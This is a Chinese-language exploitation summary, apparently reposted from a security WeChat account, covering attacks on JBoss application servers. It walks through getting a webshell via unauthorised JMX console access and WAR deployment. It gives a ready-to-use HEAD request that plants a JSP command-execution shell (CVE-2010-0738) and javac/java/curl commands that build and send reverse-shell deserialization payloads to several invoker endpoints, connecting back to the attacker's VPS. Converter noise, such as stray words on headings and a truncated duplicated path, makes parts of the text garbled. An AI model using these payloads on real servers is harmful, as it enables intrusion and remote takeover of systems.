Jboss漏洞利用總結

JBOSS簡介html

JBoss是一個基於J2EE的開放源代碼應用服務器,代碼遵循LGPL許可,能夠在任何商業應用中無償使用;JBoss也是一個管理EJB的容器和服務器,支持EJB 1.一、EJB 2.0和EJB3規範。但JBoss核心服務不包括支持servlet/JSP的WEB容器,通常與Tomcat或Jetty綁定使用。在J2EE應用服務器領域,JBoss是發展最爲迅速的應用服務器。因爲JBoss遵循商業友好的LGPL受權分發,而且由開源社區開發,這使得JBoss廣爲流行。

漏洞彙總java

訪問控制不嚴致使的漏洞
Jboss管理控制檯
Jboss4.x
jboss 4.x 及其以前的版本 console 管理路徑爲 /jmx-console/ 和 /web-console/ 。
jmx-console的配置文件爲web

/opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml  #jboss的絕對路徑不一樣網站不同

web-console的配置文件爲shell

/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml  #jboss的絕對路徑不一樣網站不同

web-console的配置文件爲安全

/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml  #jboss的絕對

控制檯帳號密碼
jmx-console 和 web-console共用一個帳號密碼 ,帳號密碼文件在服務器

/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties

JMX Console未受權訪問Getshell微信

漏洞描述
此漏洞主要是因爲JBoss中/jmx-console/HtmlAdaptor路徑對外開放,而且沒有任何身份驗證機制,致使攻擊者能夠進⼊到jmx控制檯,並在其中執⾏任何功能。app

影響版本
Jboss4.x如下curl

漏洞利⽤
Jboxx4.x /jmx-console/ 後臺存在未受權訪問,進入後臺後,可直接部署 war 包Getshell。若需登陸,能夠嘗試爆破弱口令登陸。jsp

而後找到jboss.deployment(jboss 自帶的部署功能)中的flavor=URL,type=DeploymentScanner點進去(經過 url 的方式遠程部署)

也能夠直接輸入URL進入

http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL

找到頁面中的void addURL()選項來遠程加載war包來部署。

查看部署是否成功
返回到剛進入jmx-console的頁面,找到 jboss.web.deployment,以下說明部署成功。若是沒顯示,多刷新幾回頁面或者等會兒,直到看到有部署的war包便可

訪問咱們的木馬

一般像上面這樣部署的webshell,物理路徑默認都會在如下目錄下
\jboss-4.2.3.GA\server\default\tmp\deploy\xxx.war
而這個目錄最多用做臨時維持下權限,因此能夠把shell傳到jmx-console的默認目錄來鞏固權限
\jboss-4.2.3.GA\server\default\deploy\jmx-console.war

JMX Console HtmlAdaptor Getshell(CVE-2007-1036)

漏洞描述

此漏洞主要是因爲JBoss中/jmx-console/HtmlAdaptor路徑對外開放,而且沒有任何身份驗證機制,致使攻擊者能夠進⼊到jmx控制檯,並在其中執⾏任何功能。該漏洞利⽤的是後臺中jboss.admin -> DeploymentFileRepository -> store()⽅法,經過向四個參數傳⼊信息,達到上傳shell的⽬的,其中arg0傳⼊的是部署的war包名字,arg1傳⼊的是上傳的⽂件的⽂件名,arg2傳⼊的是上傳⽂件的⽂件格式,arg3傳⼊的是上傳⽂件中的內容。經過控制這四個參數便可上傳shell,控制整臺服務器。

影響版本
Jboss4.x如下

漏洞利用
輸⼊url

http://目標IP:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository

定位到store⽅法

經過向四個參數傳入信息,達到上傳shell的目,
arg1傳入的是部署的war包名字
arg2傳入的是上傳的文件的文件名
arg3傳入的是上傳文件的文件格式
arg4傳入的是上傳文件中的內容
經過控制這四個參數便可上傳shell,控制整臺服務器。

後面的CVE-2010-0738和CVE-2006-5750漏洞也存在這一特性。

JMX控制檯安全驗證繞過漏洞(CVE-2010-0738)

漏洞描述
該漏洞利⽤⽅法跟CVE-2007-1036⼀樣,只是繞過了get和post傳輸限制,利⽤
head傳輸⽅式發送payload

影響版本
jboss4.2.0、jboss 4.3.0

漏洞利⽤
利⽤head傳輸⽅式,payload以下:

HEAD /jmx-console/HtmlAdaptor?
action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIn
dex=6&arg0=../jmx-console.war/&arg1=hax0rwin&arg2=.jsp&arg3=
<%Runtime.getRuntime().exec(request.getParameter("i"));%>&arg4=True
HTTP/1.1
Host: hostx:portx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive

CVE-2006-5750

此漏洞利用原理和CVE-2007-1036漏洞相同,惟一的區別是CVE-2006-5750漏洞利用methodIndex進行store()方法的調用。其中methodIndex是經過方法的編號進行調用。

Jboss5.x/6.x控制檯

Jboss5.x開始棄用了 web-console ,增長了 admin-console。jboss5.x / 6.x 版本 console 路徑爲 /jmx-console/ 和 /admin-console/。

jmx-console的配置文件爲

jboss/common/deploy/jmx-console.war/WEB-INF/jboss-web.xml  #jboss的絕對路徑不一樣網站不同

admin-console的配置文件爲

jboss/common/deploy/admin-console.war/WEB-INF/jboss-web.xml   #jboss的絕對路徑不一樣網站不同

控制檯帳號密碼
jmx-console 和 web-console 共用一個帳號密碼 ,帳號密碼文件在

jboss/server/default/conf/props/jmx-console-users.properties

Jboss 5.x/6.x admin-Console後臺部署war包Getshell
Jboss5.X開始,jmx-console不能部署war包了,須要admin-console後臺部署
登陸進admin-console後臺後,點擊Web Application(WAR)s ,而後Add a new resource

這裏選擇咱們本地生成好的war包

訪問木馬成功

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

這是經典的 JBoss 反序列化漏洞,
JBoss在 /invoker/JMXInvokerServlet 請求中讀取了用戶傳入的對象,而後咱們能夠利用 Apache Commons Collections 中的 Gadget 執行任意代碼。
因爲JBoss中invoker/JMXInvokerServlet路徑對外開放,JBoss的jmx組件⽀持Java反序列化

影響版本
實際上主要集中在 jboss 6.x 版本上:

Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections

漏洞探測
此漏洞存在於JBoss中 /invoker/JMXInvokerServlet 路徑。訪問若提示下載 JMXInvokerServlet,則可能存在漏洞。

咱們先啓動靶機環境,訪問:http://yourip:8080/

下面使用JavaDeserH2HC 生成反彈 shell 的 payload

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 公網vps的ip:端口號
curl http://目標IP:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

進行文件編譯
生成載荷的序列化文件xx.ser(反彈shell到咱們的vps)
利用curl提交咱們的ser文件

vps使用nc監聽端口
成功反彈

JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

此漏洞和CVE-2015-7501漏洞原理相同,二者的區別就在於兩個漏洞選擇的進行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue進行的反序列化操做,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation進行反序列化並上傳構造的文件。

影響版本
實際上主要集中在 jboss 6.x 版本上:

Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections

漏洞利用
跟CVE-2015-7501利⽤⽅法⼀樣,只是路徑不⼀樣,這個漏洞利⽤路徑是 /invoker/EJBInvokerServlet

JBOSSMQ JMS CVE-2017-7504 集羣反序列化漏洞 4.X

漏洞描述
JBoss AS 4.x及以前版本中,JbossMQ實現過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,遠程攻擊者可藉助特製的序列化數據利⽤該漏洞執⾏任意代碼。

影響版本
JBoss AS 4.x及以前版本

漏洞利用
一、首先驗證目標jboss是否存在此漏洞,直接訪問
/jbossmq-httpil/HTTPServerILServlet 路徑下。若訪問200,則可能存在漏洞。

此處咱們使用JavaDeserH2HC工具來利用該漏洞,嘗試直接彈回一個shell

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 反彈的IP:端口
curl http://目標IP:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ReverseShellCommonsCollectionsHashMap.ser

成功反彈shell

JBoss 5.x/6.x CVE-2017-12149 反序列化漏洞
漏洞描述

該漏洞爲 Java反序列化錯誤類型,存在於 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中。該過濾器在沒有進行任何安全檢查的狀況下嘗試未來自客戶端的數據流進行反序列化,從而致使了漏洞。
該漏洞出如今**/invoker/readonly**請求中,服務器將用戶提交的POST內容進行了Java反序列化,致使傳入的攜帶惡意代碼的序列化數據執行。

影響版本
JbossAS 5.x
JbossAS 6.x

漏洞驗證POC
http://目標:8080/invoker/readonly 若是出現報 500 錯誤,則說明目標機器可能存在此漏洞

漏洞利用
首先從http響應頭和title中通常狀況下都能看到信息來肯定目標 jboss 版本是否在此漏洞版本範圍

現成工具

接下來藉助JavaDeserH2HC來完成整個利用過程
首先嚐試直接反彈shell,利用JavaDeserH2HC建立好用於反彈shell的
payload,以下

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap vps的ip:端口
而後嘗試利用curl發送payload到目標機器上執行後,發現vps已成功接彈回的shell
curl http://www.target.net/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

成功反彈shell。

參考文獻:
https://blog.csdn.net/qq_36119192/article/details/103899123
https://www.freebuf.com/articles/web/240174.html



本文分享自微信公衆號 - 黑白天(li0981jing)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索